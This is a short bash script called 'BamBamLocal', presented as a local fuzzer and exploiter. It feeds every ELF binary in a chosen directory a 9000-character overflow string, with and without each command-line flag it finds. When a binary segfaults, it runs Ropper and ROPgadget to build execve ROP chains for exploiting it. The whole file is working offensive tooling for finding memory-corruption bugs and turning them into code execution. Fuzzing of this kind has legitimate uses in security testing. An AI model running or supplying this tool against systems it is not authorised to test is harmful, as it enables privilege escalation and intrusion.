BamBamLocal

#!/bin/bash
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color
ropper="python Ropper-master/Ropper.py "
ropgadget="python ROPgadget-master/ROPgadget.py "

printf "${GREEN}[*] BAM BAM Local Fuzzer/Exploiter - Author: <jsacco>\n"
printf "[?] Path with binaries to test: ${NC}\n"
read path_fuzz
ls $path_fuzz > output/listbins
for file in `cat output/listbins`
do
file `which $file` |grep ELF |awk '{print $1}'|tr -d : >> output/listbinaries
done


ulimit -c > /dev/null
#script -c ./fuzz.sh -t out.log
# { IFS=:; ls -H $PATH; }
for i in `cat output/listbinaries`
do
echo $i
	timeout -s 9 2 strings $i | grep "^-" | sort -u  > output/arg_local.list

	printf "\n${RED} `date '+%H:%M:%S'` ${GREEN}[*] Fuzzing: $i ${RED} NoArgs\n"
	printf "${RED} `date '+%H:%M:%S'` ${YELLOW}[!] Running: $i AAAA..${NC}\n\n" 
	timeout -s 9 2 bash -c "$i `python2 -c 'print "A"*9000'`"	
	if [ $? -eq 139 ]; then
                        zenity --info --text="Found: Segfault: $i AAAA.."
			echo "Found segfaul: $i " > output/$i.crash
			$ropper --file $i --chain execve > output/$i.ropperchain
			$ropgadget --binary $i --ropchain  > output/$i.ropgadgetchain
        fi
	for args in `cat output/arg_local.list`;
	do
		printf "\n${GREEN} [*] Fuzzing: $i ${RED} Arguments: $args\n"
		printf "${YELLOW} [!] Running: $i $args AAAA..${NC}\n\n" 
		timeout -s 9 2 bash -c "$i $args `python2 -c 'print "A"*9000'`"
		if [ $? -eq 139 ]; then
 			zenity --info --text="Found: Segfault: $i $args AAAA.."
			echo "Found segfaul: $i $args" > output/$i.crash
                        $ropper --file $i --chain execve > output/$i.ropperchain
			$ropgadget --binary $i --ropchain  > output/$i.ropgadgetchain
		fi
	done;

done